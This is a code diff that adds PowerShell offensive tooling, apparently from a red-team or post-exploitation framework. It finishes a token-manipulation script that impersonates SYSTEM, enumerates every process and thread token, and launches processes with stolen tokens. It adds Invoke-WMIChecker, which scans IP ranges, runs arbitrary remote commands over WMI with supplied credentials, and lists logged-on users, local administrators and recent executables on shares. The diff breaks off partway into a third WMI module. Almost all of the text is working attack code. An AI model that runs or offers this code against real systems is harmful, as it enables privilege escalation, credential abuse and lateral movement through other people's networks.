(($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if ($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs, + + [Parameter(Position=3)] + [Switch] + $PassThru + ) + Write-Verbose "Entering Create-ProcessWithToken" + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") + } + + $FunctionName = "" + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because + #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege + #which is not ideal. + Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." + Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege + $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessAsUserW" + } + else + { + Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessWithTokenW" + } + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + + #Pass created System.Diagnostics.Process object to pipeline + if ($PassThru) { + #Retrieving created System.Diagnostics.Process object + $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId + + #Caching process handle so we don't lose it when the process exits + $null = $returnProcess.Handle + + #Passing System.Diagnostics.Process object to pipeline + $returnProcess + } + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "$FunctionName failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null + $systemTokenInfo = $null + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + #If running in session 0, force NoUI + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" + $NoUI = $true + } + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru + + Invoke-RevertToSelf + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + Invoke-RevertToSelf + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} diff --git a/Modules/Invoke-WMIChecker.ps1 b/Modules/Invoke-WMIChecker.ps1 new file mode 100644 index 0000000..39892ca --- /dev/null +++ b/Modules/Invoke-WMIChecker.ps1 @@ -0,0 +1,408 @@ +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a Start and End IP. +.EXAMPLE + Generating a list of IPs from CIDR + + Get-IPRange 192.168.1.0/24 + +.EXAMPLE + Generating a list of IPs from Range + + Get-IPRange -Range 192.168.1.1-192.168.1.50 +#> +function New-IPv4Range +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $StartIP, + + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=2)] + $EndIP + ) + + # created by Dr. Tobias Weltner, MVP PowerShell + $ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes() + [Array]::Reverse($ip1) + $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address + + $ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes() + [Array]::Reverse($ip2) + $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address + + for ($x=$ip1; $x -le $ip2; $x++) { + $ip = ([System.Net.IPAddress]$x).GetAddressBytes() + [Array]::Reverse($ip) + $ip -join '.' + } +} +<# +.Synopsis + Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator +.DESCRIPTION + Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or + range - format. +.EXAMPLE + PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5 + + Generate a collection of IPv4 Object collection for the specified range. + +.EXAMPLE + New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring + + Get a list of IPv4 Addresses in a given range as a list for use in another tool. +#> +function New-IPRange +{ + [CmdletBinding(DefaultParameterSetName='CIDR')] + Param( + [parameter(Mandatory=$true, + ParameterSetName = 'CIDR', + Position=0)] + [string]$CIDR, + + [parameter(Mandatory=$true, + ParameterSetName = 'Range', + Position=0)] + [string]$Range + ) + if($CIDR) + { + $IPPart,$MaskPart = $CIDR.Split('/') + $AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily + + # Get the family type for the IP (IPv4 or IPv6) + $subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily) + + # Get the Network and Brodcast Addressed + $StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj) + + # Ensure we do not list the Network and Brodcast Address + $StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP) + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } + elseif ($Range) + { + $StartIP, $EndIP = $range.split('-') + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } +} + +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a CIDR. +.EXAMPLE + Generating a list of IPs + PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29 + 192.168.1.1 + 192.168.1.2 + 192.168.1.3 + 192.168.1.4 + 192.168.1.5 + 192.168.1.6 + 192.168.1.7 +#> +function New-IPv4RangeFromCIDR +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $Network + ) + # Extract the portions of the CIDR that will be needed + $StrNetworkAddress = ($Network.split('/'))[0] + [int]$NetworkLength = ($Network.split('/'))[1] + $NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes() + $IPLength = 32-$NetworkLength + [Array]::Reverse($NetworkIP) + $NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1 + $NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address + $StartIP = $NetworkIP +1 + $EndIP = $NetworkIP + $NumberOfIPs + # We make sure they are of type Double before conversion + If ($EndIP -isnot [double]) + { + $EndIP = $EndIP -as [double] + } + If ($StartIP -isnot [double]) + { + $StartIP = $StartIP -as [double] + } + # We turn the start IP and end IP in to strings so they can be used. + $StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString + $EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString + New-IPv4Range $StartIP $EndIP +} + +$runme = +{ + param + ( + [Object] + $IPAddress, + [Object] + $Creds, + [Bool] + $Allshares, + [Object] + $Command + ) + + $getcreds = $Creds + $Port = 135 + $Socket = New-Object Net.Sockets.TcpClient + $Socket.client.ReceiveTimeout = 2000 + $ErrorActionPreference = 'SilentlyContinue' + $Socket.Connect($IPAddress, $Port) + $ErrorActionPreference = 'Continue' + + if ($Socket.Connected) { + #Object to store result + $endpointResult = New-Object PSObject | Select-Object Host, PortOpen, LoggedOnUsers, LocalAdministrators, Members, SharesTested, FilesFound + $endpointResult.PortOpen = 'Open' + $endpointResult.Host = $IPAddress + $Socket.Close() + } else { + $portclosed = 'True' + } + + $Socket = $null + + if ($endpointResult.PortOpen -eq 'Open') + { + if ($command) { + # run a command of my choice + Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $IPAddress -Credential $getcreds -ArgumentList $Command + } + # Get logged in users from remote machine + $proc = Get-WmiObject -ComputerName $IPAddress -Credential $getcreds -query "SELECT * from win32_process WHERE Name = 'explorer.exe'" + + # Go through collection of processes and check for local admin rights + ForEach ($p in $proc) { + $temp = '' | Select-Object Computer, Domain, User + $user = ($p.GetOwner()).User + $domain = ($p.GetOwner()).Domain + if($user){ + $username = "$domain\$user" + $endpointResult.LoggedOnUsers += "'$username' " + } + + + # Get local admin users + $arr = @() + $ComputerName = (Get-WmiObject -ComputerName $IPAddress -Credential $getcreds -Class Win32_ComputerSystem).Name + $wmi = Get-WmiObject -ComputerName $ComputerName -Credential $getcreds -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$ComputerName',Name='Administrators'`"" + + # Parse out the username from each result and append it to the array. + if ($wmi -ne $null) + { + foreach ($item in $wmi) + { + $data = $item.PartComponent -split '\,' + $domain = ($data[0] -split '=')[1] + $name = ($data[1] -split '=')[1] + $arr += ("$domain\$name").Replace('"','') + $currentuser = ("$domain\$name").Replace('"','') + [Array]::Sort($arr) + if ($currentuser) + { + $endpointResult.Members += "'$currentuser' " + } + if ($currentuser -contains $username) + { + $endpointResult.LocalAdministrators += "'$currentuser' " + } + } + } + } + + if (!$Allshares) { + # Test for the default ADMIN$ share + $wmiquery = 'Select * from Win32_Share' + $availableShares = Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) + foreach ($share in $availableShares){ + if ($share.Name -eq 'ADMIN$'){ + $sharename = $share.Name + $endpointResult.SharesTested += "'$sharename' " + $drive = ($share.Path).Substring(0,1) + $path = (($share.Path).Substring(2)).Replace('\','\\') + $path = $path+'\\' + $path = $path.Replace('\\\\\\\\','\\') + $path = $path.Replace('\\\\\\','\\') + $path = $path.Replace('\\\\','\\') + $datesearch = (Get-Date).AddMonths(-1).ToString('MM/dd/yyyy') + $wmiquery = "SELECT * FROM CIM_DataFile WHERE Drive='"+$drive+":' AND Path='"+$path+"' AND Extension='exe' AND CreationDate > '"+$datesearch+"' " + Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) | foreach{ $filename = $_.Name; $endpointResult.FilesFound += "'$filename' "} + } + } + } else { + # Test against all available all shares + $wmiquery = 'Select * from Win32_Share' + $availableShares = Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) + foreach ($share in $availableShares){ + if ($share.Name -ne 'IPC$'){ + $sharename = $share.Name + $endpointResult.SharesTested += "'$sharename' " + $drive = ($share.Path).Substring(0,1) + $path = (($share.Path).Substring(2)).Replace('\','\\') + $path = $path+'\\' + $path = $path.Replace('\\\\\\\\','\\') + $path = $path.Replace('\\\\\\','\\') + $path = $path.Replace('\\\\','\\') + $datesearch = (Get-Date).AddMonths(-1).ToString('MM/dd/yyyy') + $wmiquery = "SELECT * FROM CIM_DataFile WHERE Drive='"+$drive+":' AND Path='"+$path+"' AND Extension='exe' AND CreationDate > '"+$datesearch+"' " + Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) | foreach{ $filename = $_.Name; $endpointResult.FilesFound += "'$filename' "} + } + } + } + } + return $endpointResult +} +<# +.Synopsis + WMI Checker over Windows RPC Ports (TCP 135) - @benpturner +.DESCRIPTION + WMI Tool written to search for files younger than a month on network shares. This also searches is the current logged in user is part of the Local Administrators group. All communications is done over Windows RPC Ports (TCP 135) +.EXAMPLE + Invoke-WMIChecker -IPAddress 172.16.0.205 +.EXAMPLE + Invoke-WMIChecker -IPRangeCIDR 172.16.0.0/22 -Threads 100 -Allshares 1 +.EXAMPLE + Invoke-WMIChecker -IPList C:\Temp\Hostlist.txt -Threads 30 -Allshares 0 +.INPUTS + Inputs to this cmdlet (if any) +.OUTPUTS + Output from this cmdlet (if any) +.NOTES + General notes +.COMPONENT + The component this cmdlet belongs to +.ROLE + The role this cmdlet belongs to +.FUNCTIONALITY + The functionality that best describes this cmdlet +#> +function Invoke-WMIChecker +{ + param + ( + [Object] + $IPAddress, + [Object] + $IPRangeCIDR, + [Object] + $IPList, + [Object] + $Threads, + [Bool] + $Allshares, + [Object] + $Command, + [Object] + $username, + [Object] + $password + ) + + if ($username) { + $PSS = ConvertTo-SecureString $password -AsPlainText -Force + $getcreds = new-object system.management.automation.PSCredential $username,$PSS + } else { + $getcreds = Get-Credential + } + + if ($IPList) {$iprangefull = Get-Content $IPList} + if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR} + if ($IPAddress) {$iprangefull = $IPAddress} + Write-Output '' + Write-Output $iprangefull.count Total hosts read from file + + $jobs = @() + $start = get-date + Write-Output `n"Begin Scanning at $start" -ForegroundColor Red + + #Multithreading setup + # create a pool of maxThread runspaces + if (!$Threads){$Threads = 64} + $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) + $pool.Open() + $endpointResults = @() + $jobs = @() + $ps = @() + $wait = @() + + $i = 0 + #Loop through the endpoints starting a background job for each endpoint + foreach ($endpoint in $iprangefull) + { + while ($($pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -milliseconds 500 + } + + # create a "powershell pipeline runner" + $ps += [powershell]::create() + + # assign our pool of 3 runspaces to use + $ps[$i].runspacepool = $pool + + # command to run + [void]$ps[$i].AddScript($runme) + [void]$ps[$i].AddParameter('IPAddress', $endpoint) + [void]$ps[$i].AddParameter('Creds', $getcreds) + [void]$ps[$i].AddParameter('Allshares', $Allshares) + [void]$ps[$i].AddParameter('Command', $Command) + # start job + $jobs += $ps[$i].BeginInvoke(); + + # store wait handles for WaitForAll call + $wait += $jobs[$i].AsyncWaitHandle + + $i++ + } + + Write-Output 'Waiting for scanning threads to finish...' -ForegroundColor Cyan + + $waitTimeout = get-date + + while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) { + Start-Sleep -milliseconds 500 + } + + # end async call + for ($y = 0; $y -lt $i; $y++) { + + try { + # complete async job + $endpointResults += $ps[$y].EndInvoke($jobs[$y]) + + } catch { + + # oops-ee! + write-warning "error: $_" + } + + finally { + $ps[$y].Dispose() + } + } + + $pool.Dispose() + + #Statistics + $end = get-date + $totaltime = $end - $start + + Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" -ForegroundColor green + $endpointResults +} \ No newline at end of file diff --git a/Modules/Invoke-WMICommand.ps1 b/Modules/Invoke-WMICommand.ps1 new file mode 100644 index 0000000..7a0b0a1 --- /dev/null +++ b/Modules/Invoke-WMICommand.ps1 @@ -0,0 +1,327 @@ +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a Start and End IP. +.EXAMPLE + Generating a list of IPs from CIDR + + Get-IPRange 192.168.1.0/24 + +.EXAMPLE + Generating a list of IPs from Range + + Get-IPRange -Range 192.168.1.1-192.168.1.50 +#> +function New-IPv4Range +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $StartIP, + + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=2)] + $EndIP + ) + + # created by Dr. Tobias Weltner, MVP PowerShell + $ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes() + [Array]::Reverse($ip1) + $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address + + $ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes() + [Array]::Reverse($ip2) + $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address + + for ($x=$ip1; $x -le $ip2; $x++) { + $ip = ([System.Net.IPAddress]$x).GetAddressBytes() + [Array]::Reverse($ip) + $ip -join '.' + } +} +<# +.Synopsis + Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator +.DESCRIPTION + Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or + range - format. +.EXAMPLE + PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5 + + Generate a collection of IPv4 Object collection for the specified range. + +.EXAMPLE + New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring + + Get a list of IPv4 Addresses in a given range as a list for use in another tool. +#> +function New-IPRange +{ + [CmdletBinding(DefaultParameterSetName='CIDR')] + Param( + [parameter(Mandatory=$true, + ParameterSetName = 'CIDR', + Position=0)] + [string]$CIDR, + + [parameter(Mandatory=$true, + ParameterSetName = 'Range', + Position=0)] + [string]$Range + ) + if($CIDR) + { + $IPPart,$MaskPart = $CIDR.Split('/') + $AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily + + # Get the family type for the IP (IPv4 or IPv6) + $subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily) + + # Get the Network and Brodcast Addressed + $StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj) + + # Ensure we do not list the Network and Brodcast Address + $StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP) + $EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP) + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } + elseif ($Range) + { + $StartIP, $EndIP = $range.split('-') + [IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP) + } +} + +<# +.Synopsis + Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator +.DESCRIPTION + Generates a list of IPv4 IP Addresses given a CIDR. +.EXAMPLE + Generating a list of IPs + PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29 + 192.168.1.1 + 192.168.1.2 + 192.168.1.3 + 192.168.1.4 + 192.168.1.5 + 192.168.1.6 + 192.168.1.7 +#> +function New-IPv4RangeFromCIDR +{ + param( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true, + Position=0)] + $Network + ) + # Extract the portions of the CIDR that will be needed + $StrNetworkAddress = ($Network.split('/'))[0] + [int]$NetworkLength = ($Network.split('/'))[1] + $NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes() + $IPLength = 32-$NetworkLength + [Array]::Reverse($NetworkIP) + $NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1 + $NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address + $StartIP = $NetworkIP +1 + $EndIP = $NetworkIP + $NumberOfIPs + # We make sure they are of type Double before conversion + 